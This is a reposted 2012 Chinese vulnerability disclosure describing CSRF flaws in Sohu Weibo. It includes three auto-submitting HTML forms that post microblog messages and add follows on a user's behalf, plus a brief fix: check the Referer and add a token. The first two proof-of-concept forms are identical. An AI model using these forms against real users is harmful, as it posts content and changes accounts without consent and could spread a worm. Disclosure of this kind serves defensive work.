搜狐微博的幾處CSRF漏洞分析與解決方法
發(fā)布時間:2012-06-27 14:27:51 作者:佚名
我要評論

搜狐某處CSRF漏洞,可能導致蠕蟲蔓延,在未經用戶同意的情況下發(fā)布微博
搜狐某處CSRF漏洞,可能導致蠕蟲蔓延,在未經用戶同意的情況下發(fā)布微博
詳細說明:
在接受POST和GET的信息的時候,未對POST來路(Referer)進行驗證,同時也沒有在POST的信息中加token驗證信息的正確性,導致漏洞產生。
漏洞地址:
復制代碼
代碼如下:http://t.sohu.com/t/twAction.jsp
<html> www.dbjr.com.cn
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息

效果

第二個
復制代碼
代碼如下:http://t.sohu.com/t/twAction.jsp
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
返回信息

效果

第三個:
漏洞地址:
復制代碼
代碼如下:http://t.sohu.com/follow/addfollows
<html> www.dbjr.com.cn
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/follow/addfollows" method="post">
<input type="text" name="act" value="follow" />
<input type="text" name="friendids" value="23117291" />
<input type="text" name="uid" value="23117291" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>

接口返回信息

效果
修復方案:
檢查POST來路Referer
在POST的信息中加token
作者:imlonghao
相關文章
搜狐影音 在線視頻播放器 v7.0.22.0 官方正式免費安裝版
搜狐影音是搜狐視頻強勢推出的一款全新體驗的播放器,支持主流媒體格式的視頻、音頻文件,實現(xiàn)本地播放和在線點播2023-04-09取消搜狗彈出的“搜狐微門戶” 網頁窗口的實現(xiàn)方法(SohuNews.exe進程)
很多朋友都安裝了搜狗輸入法,隨便輸入法用起來不錯,但經常彈出廣告,尤其是非常時期,cpu占用率挺高的,有想要關閉這個網頁窗口的朋友可以參考下2013-01-25- 視頻網站適合使用的jQuery縮略圖焦點圖切換,來源于搜狐視頻2010-12-31
- 來自搜狐數碼頻道的圖片滾動代碼,左右滾動可控制,只需鼠標移到兩端的控制按鈕上,圖片就會自動響應,改變滾動方向。代碼是直接從搜狐扒下來的,簡單的修正了一下,里面有2010-09-16
- 搜狐Flash焦點圖輪番效果打包下載,很不錯的效果,邊框修飾成了圓角,控制按鈕比較多,設計的也比較美,不虧是大站的。注意,用到時候要把Flash的背景高為透明,這樣才能保2009-07-14
批量注冊好助手 V3.32 支持網易/126/TOM/迅雷/搜狐郵箱賬號 中文綠色免
網易/126/TOM/迅雷/搜狐郵箱賬號批量注冊好助手2012-07-11搜搜狗拼音輸入法 V6.2E.7476 去廣告優(yōu)化版 完美支持64位系 獨木成林版
這是一個非常好用的版本很經典2012-08-16搜狐影音 4.3.0.16 簡體中文綠色免費版 全新加速模式實現(xiàn)本地播放和在
搜狐影音是搜狐視頻強勢推出的一款全新體驗的播放器。2014-06-26- 搜狐應用中心是搜狐推出的移動應用商店,涵蓋了數10萬款安卓軟件、游戲等豐富資源,界面簡潔、操作方便,速度飛快2013-03-21
搜狐視頻客戶端 for Mac V3.31.18312 蘋果電腦版
搜狐視頻mac版是一款專為OSX平臺量身打造的觀看流暢,運行穩(wěn)定免費的視頻播放器工具。搜狐影音Mac版,繼承了pc搜狐影音的簡潔清晰界面,包括搜狐視頻、優(yōu)酷、土豆、樂視等2021-05-18